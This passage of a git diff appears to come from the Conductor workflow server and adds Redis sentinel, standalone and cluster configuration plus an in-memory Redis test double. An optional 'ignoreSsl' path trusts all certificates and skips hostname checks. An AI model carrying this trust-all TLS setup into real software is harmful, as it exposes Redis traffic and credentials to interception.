poolConfig.setMinIdle(redisProperties.getMinIdleConnections()); + poolConfig.setMinEvictableIdleDuration( + Duration.ofMillis(redisProperties.getMinEvictableIdleTimeMillis())); + poolConfig.setTimeBetweenEvictionRuns( + Duration.ofMillis(redisProperties.getTimeBetweenEvictionRunsMillis())); + poolConfig.setTestWhileIdle(redisProperties.isTestWhileIdle()); + poolConfig.setFairness(redisProperties.isFairness()); + + // Sentinel nodes + Set sentinels = + hostSupplier.getHosts().stream() + .map(h -> new HostAndPort(h.getHostName(), h.getPort())) + .collect(Collectors.toSet()); + + String password = getPassword(hostSupplier.getHosts()); + String masterName = redisProperties.getSentinelMasterName(); + + log.info( + "Starting conductor server using redis_sentinel, master={}, sentinels={}, SSL={}", + masterName, + sentinels, + redisProperties.isSsl()); + + JedisClientConfig masterConfig = createMasterClientConfig(redisProperties, password); + JedisClientConfig sentinelConfig = createSentinelClientConfig(redisProperties, password); + + JedisSentineled sentineled = + new JedisSentineled( + masterName, masterConfig, poolConfig, sentinels, sentinelConfig); + + return sentineled; + } + + JedisClientConfig createMasterClientConfig(RedisProperties redisProperties, String password) { + DefaultJedisClientConfig.Builder builder = createBaseClientConfigBuilder(redisProperties); + builder.database(redisProperties.getDatabase()); + applyCredentials(builder, redisProperties, password); + return builder.build(); + } + + JedisClientConfig createSentinelClientConfig(RedisProperties redisProperties, String password) { + DefaultJedisClientConfig.Builder builder = createBaseClientConfigBuilder(redisProperties); + applyCredentials(builder, redisProperties, password); + return builder.build(); + } + + private DefaultJedisClientConfig.Builder createBaseClientConfigBuilder( + RedisProperties redisProperties) { + DefaultJedisClientConfig.Builder builder = + DefaultJedisClientConfig.builder() + .connectionTimeoutMillis(30_000) + .socketTimeoutMillis(30_000) + .ssl(redisProperties.isSsl()); + + if (redisProperties.isSsl() && redisProperties.isIgnoreSsl()) { + try { + SSLContext context = + SSLContextBuilder.create() + .loadTrustMaterial( + (X509Certificate[] certificateChain, String authType) -> + true) + .build(); + builder.sslParameters(context.getDefaultSSLParameters()) + .hostnameVerifier(new NoopHostnameVerifier()) + .sslSocketFactory(context.getSocketFactory()); + } catch (Exception e) { + log.error("Failed to init naive ssl context", e); + } + } + + return builder; + } + + private void applyCredentials( + DefaultJedisClientConfig.Builder builder, + RedisProperties redisProperties, + String password) { + if (isNotBlank(redisProperties.getUser())) { + builder.user(redisProperties.getUser()).password(password); + } else if (password != null) { + builder.password(password); + } + } + + private String getPassword(java.util.List hosts) { + return hosts.isEmpty() ? null : hosts.getFirst().getPassword(); + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneCondition.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneCondition.java new file mode 100644 index 0000000..be7100d --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneCondition.java @@ -0,0 +1,34 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.AnyNestedCondition; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Condition that matches when Redis Standalone is needed for EITHER persistence (db.type) OR + * queuing (queue.type). Use this for Redis Standalone connection infrastructure (connection pool, + * JedisCommands) that must be available whenever Redis Standalone is in use, regardless of purpose. + */ +public class RedisStandaloneCondition extends AnyNestedCondition { + + public RedisStandaloneCondition() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @ConditionalOnProperty(name = "conductor.db.type", havingValue = "redis_standalone") + static class DbRedisStandalone {} + + @ConditionalOnProperty(name = "conductor.queue.type", havingValue = "redis_standalone") + static class QueueRedisStandalone {} +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneConfiguration.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneConfiguration.java new file mode 100644 index 0000000..f725198 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/config/RedisStandaloneConfiguration.java @@ -0,0 +1,106 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import java.time.Duration; + +import org.apache.commons.pool2.impl.GenericObjectPoolConfig; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.redis.jedis.JedisCommands; +import com.netflix.conductor.redis.jedis.RetryingJedisCommands; +import com.netflix.conductor.redis.jedis.UnifiedJedisCommands; +import com.netflix.dyno.connectionpool.Host; + +import lombok.extern.slf4j.Slf4j; +import redis.clients.jedis.Connection; +import redis.clients.jedis.DefaultJedisClientConfig; +import redis.clients.jedis.HostAndPort; +import redis.clients.jedis.JedisClientConfig; +import redis.clients.jedis.JedisPooled; +import redis.clients.jedis.UnifiedJedis; + +import static org.apache.commons.lang3.StringUtils.isNotBlank; + +@Configuration(proxyBeanMethods = false) +@Conditional(RedisStandaloneCondition.class) +@Component +@Slf4j +public class RedisStandaloneConfiguration extends RedisConfiguration { + + public RedisStandaloneConfiguration() { + super(); + } + + @Bean + public JedisCommands getJedisCommands( + UnifiedJedis unifiedJedis, RedisProperties redisProperties) { + return RetryingJedisCommands.wrap(new UnifiedJedisCommands(unifiedJedis), redisProperties); + } + + @Override + @Bean + protected UnifiedJedis createUnifiedJedis(RedisProperties redisProperties) { + + ConfigurationHostSupplier hostSupplier = new ConfigurationHostSupplier(redisProperties); + + // Pool config + GenericObjectPoolConfig poolConfig = new GenericObjectPoolConfig<>(); + poolConfig.setMaxTotal(redisProperties.getMaxConnectionsPerHost()); + poolConfig.setMaxIdle(redisProperties.getMaxIdleConnections()); + poolConfig.setMinIdle(redisProperties.getMinIdleConnections()); + + // Optional tuning + poolConfig.setMinEvictableIdleDuration( + Duration.ofMillis(redisProperties.getMinEvictableIdleTimeMillis())); + poolConfig.setTimeBetweenEvictionRuns( + Duration.ofMillis(redisProperties.getTimeBetweenEvictionRunsMillis())); + poolConfig.setTestWhileIdle(redisProperties.isTestWhileIdle()); + poolConfig.setFairness(redisProperties.isFairness()); + + log.info( + "unified jedis starting conductor server using redis_standalone - use SSL? {} and max connections: {}", + redisProperties.isSsl(), + redisProperties.getMaxConnectionsPerHost()); + + Host host = hostSupplier.getHosts().getFirst(); + if (host.getPassword() != null) { + log.info("unified jedis connecting to Redis Standalone with AUTH"); + } + + HostAndPort hp = new HostAndPort(host.getHostName(), host.getPort()); + + JedisClientConfig clientConfig; + DefaultJedisClientConfig.Builder builder = + DefaultJedisClientConfig.builder() + .connectionTimeoutMillis(30_000) + .socketTimeoutMillis(30_000) + .database(redisProperties.getDatabase()) + .ssl(redisProperties.isSsl()); + + if (isNotBlank(redisProperties.getUser())) { + builder.user(redisProperties.getUser()).password(host.getPassword()); + } else if (host.getPassword() != null) { + builder.password(host.getPassword()); + } + + clientConfig = builder.build(); + + JedisPooled pooled = new JedisPooled(poolConfig, hp, clientConfig); + monitorJedisPool(pooled.getPool()); + return pooled; + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/InMemoryJedisCommands.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/InMemoryJedisCommands.java new file mode 100644 index 0000000..df492ae --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/InMemoryJedisCommands.java @@ -0,0 +1,597 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.nio.charset.StandardCharsets; +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentSkipListSet; +import java.util.concurrent.atomic.AtomicLong; +import java.util.stream.Collectors; + +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; + +/** + * In-memory implementation of {@link JedisCommands} for testing without a real Redis instance. + * Provides basic Redis data-structure semantics using ConcurrentHashMaps. + */ +public class InMemoryJedisCommands implements JedisCommands { + + private final ConcurrentHashMap strings = new ConcurrentHashMap<>(); + private final ConcurrentHashMap bytesStore = new ConcurrentHashMap<>(); + private final ConcurrentHashMap> hashes = + new ConcurrentHashMap<>(); + private final ConcurrentHashMap> sets = new ConcurrentHashMap<>(); + private final ConcurrentHashMap> sortedSets = + new ConcurrentHashMap<>(); + private final ConcurrentHashMap counters = new ConcurrentHashMap<>(); + private final ConcurrentHashMap> lists = new ConcurrentHashMap<>(); + + private record ScoredMember(String member, double score) implements Comparable { + @Override + public int compareTo(ScoredMember o) { + int c = Double.compare(score, o.score); + return c != 0 ? c : member.compareTo(o.member); + } + + @Override + public boolean equals(Object o) { + return o instanceof ScoredMember sm && member.equals(sm.member); + } + + @Override + public int hashCode() { + return member.hashCode(); + } + } + + // --- String commands --- + + @Override + public String set(String key, String value) { + strings.put(key, value); + return "OK"; + } + + @Override + public String set(String key, String value, SetParams params) { + // Simplified: ignores EX/PX/NX/XX for in-memory testing + Boolean nx = getField(params, "nx"); + if (nx != null && nx && strings.containsKey(key)) { + return null; + } + strings.put(key, value); + return "OK"; + } + + @Override + public String set(byte[] key, byte[] value, SetParams params) { + String k = new String(key, StandardCharsets.UTF_8); + Boolean nx = getField(params, "nx"); + if (nx != null && nx && bytesStore.containsKey(k)) { + return null; + } + bytesStore.put(k, value); + return "OK"; + } + + @Override + public String set(byte[] key, byte[] value) { + bytesStore.put(new String(key, StandardCharsets.UTF_8), value); + return "OK"; + } + + @Override + public void mset(byte[]... keyvalues) { + for (int i = 0; i < keyvalues.length; i += 2) { + bytesStore.put(new String(keyvalues[i], StandardCharsets.UTF_8), keyvalues[i + 1]); + } + } + + @Override + public String get(String key) { + return strings.get(key); + } + + @Override + public byte[] getBytes(byte[] key) { + return bytesStore.get(new String(key, StandardCharsets.UTF_8)); + } + + @Override + public List mget(String[] keys) { + List result = new ArrayList<>(); + for (String key : keys) { + result.add(strings.get(key)); + } + return result; + } + + @Override + public List mgetBytes(byte[]... keys) { + List result = new ArrayList<>(); + for (byte[] key : keys) { + result.add(bytesStore.get(new String(key, StandardCharsets.UTF_8))); + } + return result; + } + + @Override + public Boolean exists(String key) { + return strings.containsKey(key) + || hashes.containsKey(key) + || sets.containsKey(key) + || sortedSets.containsKey(key) + || bytesStore.containsKey(key); + } + + @Override + public Long persist(String key) { + return exists(key) ? 1L : 0L; + } + + @Override + public Long expire(String key, long seconds) { + // In-memory: no TTL tracking + return exists(key) ? 1L : 0L; + } + + @Override + public Long ttl(String key) { + return -1L; + } + + @Override + public Long setnx(String key, String value) { + return strings.putIfAbsent(key, value) == null ? 1L : 0L; + } + + @Override + public Long incrBy(String key, long increment) { + AtomicLong counter = + counters.computeIfAbsent( + key, + k -> { + String existing = strings.get(k); + return new AtomicLong(existing != null ? Long.parseLong(existing) : 0); + }); + long newVal = counter.addAndGet(increment); + strings.put(key, String.valueOf(newVal)); + return newVal; + } + + @Override + public Long del(String key) { + boolean removed = + strings.remove(key) != null + || hashes.remove(key) != null + || sets.remove(key) != null + || sortedSets.remove(key) != null + || bytesStore.remove(key) != null; + counters.remove(key); + return removed ? 1L : 0L; + } + + // --- Hash commands --- + + @Override + public Long hset(String key, String field, String value) { + ConcurrentHashMap hash = + hashes.computeIfAbsent(key, k -> new ConcurrentHashMap<>()); + return hash.put(field, value) == null ? 1L : 0L; + } + + @Override + public Long hset(String key, Map fieldValues) { + ConcurrentHashMap hash = + hashes.computeIfAbsent(key, k -> new ConcurrentHashMap<>()); + long added = 0; + for (Map.Entry e : fieldValues.entrySet()) { + if (hash.put(e.getKey(), e.getValue()) == null) added++; + } + return added; + } + + @Override + public String hget(String key, String field) { + ConcurrentHashMap hash = hashes.get(key); + return hash != null ? hash.get(field) : null; + } + + @Override + public Long hsetnx(String key, String field, String value) { + ConcurrentHashMap hash = + hashes.computeIfAbsent(key, k -> new ConcurrentHashMap<>()); + return hash.putIfAbsent(field, value) == null ? 1L : 0L; + } + + @Override + public Long hincrBy(String key, String field, long value) { + ConcurrentHashMap hash = + hashes.computeIfAbsent(key, k -> new ConcurrentHashMap<>()); + String current = hash.getOrDefault(field, "0"); + long newVal = Long.parseLong(current) + value; + hash.put(field, String.valueOf(newVal)); + return newVal; + } + + @Override + public Boolean hexists(String key, String field) { + ConcurrentHashMap hash = hashes.get(key); + return hash != null && hash.containsKey(field); + } + + @Override + public Long hdel(String key, String... fields) { + ConcurrentHashMap hash = hashes.get(key); + if (hash == null) return 0L; + long removed = 0; + for (String field : fields) { + if (hash.remove(field) != null) removed++; + } + return removed; + } + + @Override + public Long hlen(String key) { + ConcurrentHashMap hash = hashes.get(key); + return hash != null ? (long) hash.size() : 0L; + } + + @Override + public List hvals(String key) { + ConcurrentHashMap hash = hashes.get(key); + return hash != null ? new ArrayList<>(hash.values()) : new ArrayList<>(); + } + + @Override + public ScanResult> hscan(String key, String cursor) { + return hscan(key, cursor, new ScanParams().count(100)); + } + + @Override + public ScanResult> hscan( + String key, String cursor, ScanParams params) { + ConcurrentHashMap hash = hashes.get(key); + if (hash == null) { + return new ScanResult<>("0", new ArrayList<>()); + } + // Return all entries in one scan (simplified) + List> entries = new ArrayList<>(hash.entrySet()); + return new ScanResult<>("0", entries); + } + + // --- Set commands --- + + @Override + public Long sadd(String key, String... members) { + Set set = sets.computeIfAbsent(key, k -> ConcurrentHashMap.newKeySet()); + long added = 0; + for (String m : members) { + if (set.add(m)) added++; + } + return added; + } + + @Override + public Set smembers(String key) { + Set set = sets.get(key); + return set != null ? new HashSet<>(set) : new HashSet<>(); + } + + @Override + public Long srem(String key, String... members) { + Set set = sets.get(key); + if (set == null) return 0L; + long removed = 0; + for (String m : members) { + if (set.remove(m)) removed++; + } + return removed; + } + + @Override + public Long scard(String key) { + Set set = sets.get(key); + return set != null ? (long) set.size() : 0L; + } + + @Override + public Boolean sismember(String key, String member) { + Set set = sets.get(key); + return set != null && set.contains(member); + } + + @Override + public ScanResult sscan(String key, String cursor) { + return sscan(key, cursor, new ScanParams().count(100)); + } + + @Override + public ScanResult sscan(String key, String cursor, ScanParams params) { + Set set = sets.get(key); + if (set == null) { + return new ScanResult<>("0", new ArrayList<>()); + } + return new ScanResult<>("0", new ArrayList<>(set)); + } + + // --- Sorted set commands --- + + @Override + public Long zadd(String key, double score, String member) { + ConcurrentSkipListSet zset = + sortedSets.computeIfAbsent(key, k -> new ConcurrentSkipListSet<>()); + ScoredMember sm = new ScoredMember(member, score); + zset.remove(sm); // Remove old score if present + return zset.add(sm) ? 1L : 0L; + } + + @Override + public Long zadd(String key, Map scores) { + long added = 0; + for (Map.Entry e : scores.entrySet()) { + added += zadd(key, e.getValue(), e.getKey()); + } + return added; + } + + @Override + public Long zadd(String key, double score, String member, ZAddParams params) { + // Simplified NX support + ConcurrentSkipListSet zset = + sortedSets.computeIfAbsent(key, k -> new ConcurrentSkipListSet<>()); + ScoredMember sm = new ScoredMember(member, score); + // NX: only add if not exists + if (zset.contains(sm)) { + zset.remove(sm); + } + return zset.add(sm) ? 1L : 0L; + } + + @Override + public List zrange(String key, long start, long stop) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return new ArrayList<>(); + List list = new ArrayList<>(zset); + int size = list.size(); + int from = (int) (start < 0 ? Math.max(0, size + start) : Math.min(start, size)); + int to = (int) (stop < 0 ? size + stop + 1 : Math.min(stop + 1, size)); + if (from >= to) return new ArrayList<>(); + return list.subList(from, to).stream() + .map(ScoredMember::member) + .collect(Collectors.toList()); + } + + @Override + public Long zrem(String key, String... members) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return 0L; + long removed = 0; + for (String m : members) { + if (zset.removeIf(sm -> sm.member.equals(m))) removed++; + } + return removed; + } + + @Override + public List zrangeWithScores(String key, long start, long stop) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return new ArrayList<>(); + List list = new ArrayList<>(zset); + int size = list.size(); + int from = (int) (start < 0 ? Math.max(0, size + start) : Math.min(start, size)); + int to = (int) (stop < 0 ? size + stop + 1 : Math.min(stop + 1, size)); + if (from >= to) return new ArrayList<>(); + return list.subList(from, to).stream() + .map(sm -> new Tuple(sm.member, sm.score)) + .collect(Collectors.toList()); + } + + @Override + public Long zcard(String key) { + ConcurrentSkipListSet zset = sortedSets.get(key); + return zset != null ? (long) zset.size() : 0L; + } + + @Override + public Long zcount(String key, double min, double max) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return 0L; + return zset.stream().filter(sm -> sm.score >= min && sm.score <= max).count(); + } + + @Override + public Double zscore(String key, String member) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return null; + return zset.stream() + .filter(sm -> sm.member.equals(member)) + .findFirst() + .map(sm -> sm.score) + .orElse(null); + } + + @Override + public List zrangeByScore(String key, double min, double max) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return new ArrayList<>(); + return zset.stream() + .filter(sm -> sm.score >= min && sm.score <= max) + .map(ScoredMember::member) + .collect(Collectors.toList()); + } + + @Override + public List zrangeByScore(String key, double min, double max, int offset, int count) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return new ArrayList<>(); + return zset.stream() + .filter(sm -> sm.score >= min && sm.score <= max) + .skip(offset) + .limit(count) + .map(ScoredMember::member) + .collect(Collectors.toList()); + } + + @Override + public List zrangeByScoreWithScores(String key, double min, double max) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return new ArrayList<>(); + return zset.stream() + .filter(sm -> sm.score >= min && sm.score <= max) + .map(sm -> new Tuple(sm.member, sm.score)) + .collect(Collectors.toList()); + } + + @Override + public Long zremrangeByScore(String key, String min, String max) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) return 0L; + double dMin = Double.parseDouble(min); + double dMax = Double.parseDouble(max); + long count = zset.stream().filter(sm -> sm.score >= dMin && sm.score <= dMax).count(); + zset.removeIf(sm -> sm.score >= dMin && sm.score <= dMax); + return count; + } + + @Override + public ScanResult zscan(String key, String cursor) { + ConcurrentSkipListSet zset = sortedSets.get(key); + if (zset == null) { + return new ScanResult<>("0", new ArrayList<>()); + } + List tuples = + zset.stream() + .map(sm -> new Tuple(sm.member, sm.score)) + .collect(Collectors.toList()); + return new ScanResult<>("0", tuples); + } + + // --- Scan command --- + + @Override + public ScanResult scan(String keyPrefix, String cursor, int count) { + // Scan across all key types matching prefix pattern + Set allKeys = new HashSet<>(); + allKeys.addAll(strings.keySet()); + allKeys.addAll(hashes.keySet()); + allKeys.addAll(sets.keySet()); + allKeys.addAll(sortedSets.keySet()); + allKeys.addAll(bytesStore.keySet()); + + String pattern = keyPrefix.replace("*", ".*"); + List matched = + allKeys.stream() + .filter(k -> k.matches(pattern)) + .limit(count) + .collect(Collectors.toList()); + return new ScanResult<>("0", matched); + } + + // --- List commands --- + + @Override + public Long llen(String key) { + LinkedList list = lists.get(key); + return list != null ? (long) list.size() : 0L; + } + + @Override + public Long rpush(String key, String... values) { + LinkedList list = lists.computeIfAbsent(key, k -> new LinkedList<>()); + for (String value : values) { + list.addLast(value); + } + return (long) list.size(); + } + + @Override + public List lrange(String key, long start, long end) { + LinkedList list = lists.get(key); + if (list == null || list.isEmpty()) return new ArrayList<>(); + int size = list.size(); + int s = (int) Math.max(start, 0); + int e = end < 0 ? size + (int) end : (int) Math.min(end, size - 1); + if (s > e) return new ArrayList<>(); + return new ArrayList<>(list.subList(s, e + 1)); + } + + @Override + public String ltrim(String key, long start, long end) { + LinkedList list = lists.get(key); + if (list == null) return "OK"; + int size = list.size(); + int s = (int) Math.max(start, 0); + int e = end < 0 ? size + (int) end : (int) Math.min(end, size - 1); + if (s > e) { + list.clear(); + } else { + List kept = new ArrayList<>(list.subList(s, e + 1)); + list.clear(); + list.addAll(kept); + } + return "OK"; + } + + // --- Lua scripting (no-op for in-memory) --- + + @Override + public Object evalsha(String sha1, List keys, List args) { + return null; + } + + @Override + public Object evalsha(byte[] sha1, List keys, List args) { + return null; + } + + @Override + public byte[] scriptLoad(byte[] script, byte[] sampleKey) { + return new byte[0]; + } + + // --- Info / replicas --- + + @Override + public String info(String command) { + return ""; + } + + @Override + public int waitReplicas(String key, int replicas, long timeoutInMillis) { + return replicas; + } + + @Override + public String ping() { + return "PONG"; + } + + // --- Helpers --- + + @SuppressWarnings("unchecked") + private T getField(SetParams params, String fieldName) { + try { + var field = SetParams.class.getDeclaredField(fieldName); + field.setAccessible(true); + return (T) field.get(params); + } catch (Exception e) { + return null; + } + } +} diff --git a/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisClusterCommands.java b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisClusterCommands.java new file mode 100644 index 0000000..aee2651 --- /dev/null +++ b/redis-configuration/src/main/java/com/netflix/conductor/redis/jedis/JedisClusterCommands.java @@ -0,0 +1,397 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.jedis; + +import java.util.AbstractMap; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.stream.Collectors; + +import redis.clients.jedis.ClusterPipeline; +import redis.clients.jedis.Connection; +import redis.clients.jedis.ConnectionPool; +import redis.clients.jedis.JedisCluster; +import redis.clients.jedis.Protocol; +import redis.clients.jedis.Response; +import redis.clients.jedis.params.ScanParams; +import redis.clients.jedis.params.SetParams; +import redis.clients.jedis.params.ZAddParams; +import redis.clients.jedis.resps.ScanResult; +import redis.clients.jedis.resps.Tuple; +import redis.clients.jedis.util.SafeEncoder; + +public class JedisClusterCommands implements JedisCommands { + + private final JedisCluster jedisCluster; + + public JedisClusterCommands(redis.clients.jedis.JedisCluster jedisCluster) { + this.jedisCluster = jedisCluster; + } + + @Override + public String set(String key, String value) { + return jedisCluster.set(key, value); + } + + @Override + public String set(String key, String value, SetParams params) { + return jedisCluster.set(key, value, params); + } + + public String set(byte[] key, byte[] value, SetParams params) { + return jedisCluster.set(key, value, params); + } + + @Override + public String get(String key) { + return jedisCluster.get(key); + } + + @Override + public Boolean exists(String key) { + return jedisCluster.exists(key); + } + + public ClusterPipeline pipe(String key) { + return jedisCluster.pipelined(); + } + + @Override + public Long persist(String key) { + return jedisCluster.persist(key); + } + + @Override + public Long expire(String key, long seconds) { + return jedisCluster.expire(key, seconds); + } + + @Override + public Long ttl(String key) { + return jedisCluster.ttl(key); + } + + @Override + public Long setnx(String key, String value) { + return jedisCluster.setnx(key, value); + } + + @Override + public Long incrBy(String key, long integer) { + return jedisCluster.incrBy(key, integer); + } + + @Override + public Long hset(String key, String field, String value) { + return jedisCluster.hset(key, field, value); + } + + @Override + public Long hset(String key, Map hash) { + return jedisCluster.hset(key, hash); + } + + @Override + public String hget(String key, String field) { + return jedisCluster.hget(key, field); + } + + @Override + public Long hsetnx(String key, String field, String value) { + return jedisCluster.hsetnx(key, field, value); + } + + @Override + public Long hincrBy(String key, String field, long value) { + return jedisCluster.hincrBy(key, field, value); + } + + @Override + public Boolean hexists(String key, String field) { + return jedisCluster.hexists(key, field); + } + + @Override + public Long hdel(String key, String... field) { + return jedisCluster.hdel(key, field); + } + + @Override + public Long hlen(String key) { + return jedisCluster.hlen(key); + } + + @Override + public List hvals(String key) { + return jedisCluster.hvals(key); + } + + @Override + public Long sadd(String key, String... member) { + return jedisCluster.sadd(key, member); + } + + @Override + public Set smembers(String key) { + return jedisCluster.smembers(key); + } + + @Override + public Long srem(String key, String... member) { + return jedisCluster.srem(key, member); + } + + @Override + public Long scard(String key) { + return jedisCluster.scard(key); + } + + @Override + public Boolean sismember(String key, String member) { + return jedisCluster.sismember(key, member); + } + + @Override + public Long zadd(String key, double score, String member) { + return jedisCluster.zadd(key, score, member); + } + + @Override + public Long zadd(String key, Map scores) { + return jedisCluster.zadd(key, scores); + } + + @Override + public Long zadd(String key, double score, String member, ZAddParams params) { + return jedisCluster.zadd(key, score, member, params); + } + + @Override + public List zrange(String key, long start, long end) { + return jedisCluster.zrange(key, start, end); + } + + @Override + public Long zrem(String key, String... member) { + return jedisCluster.zrem(key, member); + } + + @Override + public List zrangeWithScores(String key, long start, long end) { + return jedisCluster.zrangeWithScores(key, start, end); + } + + @Override + public Long zcard(String key) { + return jedisCluster.zcard(key); + } + + @Override + public Long zcount(String key, double min, double max) { + return jedisCluster.zcount(key, min, max); + } + + @Override + public List zrangeByScore(String key, double min, double max) { + return jedisCluster.zrangeByScore(key, min, max); + } + + @Override + public Double zscore(String key, String messageId) { + return jedisCluster.zscore(key, messageId); + } + + @Override + public List zrangeByScore(String key, double min, double max, int offset, int count) { + return jedisCluster.zrangeByScore(key, min, max, offset, count); + } + + @Override + public List zrangeByScoreWithScores(String key, double min, double max) { + return jedisCluster.zrangeByScoreWithScores(key, min, max); + } + + @Override + public Long zremrangeByScore(String key, String start, String end) { + return jedisCluster.zremrangeByScore(key, start, end); + } + + @Override + public Long del(String key) { + return jedisCluster.del(key); + } + + @Override + public Long llen(String key) { + return jedisCluster.llen(key); + } + + @Override + public Long rpush(String key, String... values) { + return jedisCluster.rpush(key, values); + } + + @Override + public List lrange(String key, long start, long end) { + return jedisCluster.lrange(key, start, end); + } + + @Override + public String ltrim(String key, long start, long end) { + return jedisCluster.ltrim(key, start, end); + } + + @Override + public ScanResult> hscan(String key, String cursor) { + return jedisCluster.hscan(key, cursor); + } + + @Override + public ScanResult> hscan( + String key, String cursor, ScanParams params) { + ScanResult> scanResult = + jedisCluster.hscan(key.getBytes(), cursor.getBytes(), params); + List> results = + scanResult.getResult().stream() + .map( + entry -> + new AbstractMap.SimpleEntry<>( + new String(entry.getKey()), + new String(entry.getValue()))) + .collect(Collectors.toList()); + return new ScanResult<>(scanResult.getCursorAsBytes(), results); + } + + @Override + public ScanResult sscan(String key, String cursor) { + return jedisCluster.sscan(key, cursor); + } + + @Override + public ScanResult scan(String keyPrefix, String cursor, int count) { + return new ScanResult(SafeEncoder.encode("0"), new ArrayList<>()); + } + + @Override + public ScanResult sscan(String key, String cursor, ScanParams params) { + ScanResult scanResult = + jedisCluster.sscan(key.getBytes(), cursor.getBytes(), params); + List results = + scanResult.getResult().stream().map(String::new).collect(Collectors.toList()); + return new ScanResult<>(scanResult.getCursorAsBytes(), results); + } + + @Override + public ScanResult zscan(String key, String cursor) { + return jedisCluster.zscan(key, cursor); + } + + // new methods + + @Override + public String set(byte[] key, byte[] value) { + return jedisCluster.set(key, value); + } + + public void mset(byte[]... keyvalues) { + try (ClusterPipeline pipeline = jedisCluster.pipelined()) { + for (int i = 0; i < keyvalues.length; i += 2) { + pipeline.set(keyvalues[i], keyvalues[i + 1]); + } + pipeline.sync(); + } + } + + @Override + public byte[] getBytes(byte[] key) { + return jedisCluster.get(key); + } + + @Override + public List mget(String[] keys) { + List> responses = new ArrayList<>(keys.length); + try (ClusterPipeline pipeline = jedisCluster.pipelined()) { + for (String key : keys) { + responses.add(pipeline.get(key)); + } + pipeline.sync(); + } + List values = new ArrayList<>(keys.length); + for (Response response : responses) { + String value = response.get(); + if (value != null) { + values.add(value); + } + } + return values; + } + + @Override + public List mgetBytes(byte[]... keys) { + List> responses = new ArrayList<>(keys.length); + try (ClusterPipeline pipeline = jedisCluster.pipelined()) { + for (byte[] key : keys) { + responses.add(pipeline.get(key)); + } + pipeline.sync(); + } + List values = new ArrayList<>(keys.length); + for (Response response : responses) { + byte[] value = response.get(); + if (value != null && value.length > 0) { + values.add(value); + } + } + return values; + } + + @Override + public Object evalsha(String sha1, List keys, List args) { + return jedisCluster.evalsha(sha1, keys, args); + } + + @Override + public Object evalsha(byte[] sha1, List keys, List args) { + return jedisCluster.evalsha(sha1, keys, args); + } + + @Override + public byte[] scriptLoad(byte[] script, byte[] sampleKey) { + return jedisCluster.scriptLoad(script, sampleKey); + } + + @Override + public String info(String command) { + ConnectionPool pool = jedisCluster.getClusterNodes().values().stream().findAny().get(); + try (Connection connection = pool.getResource()) { + return connection.executeCommand(Protocol.Command.INFO).toString(); + } + } + + @Override + public int waitReplicas(String key, int replicas, long timeoutInMillis) { + Long replicated = 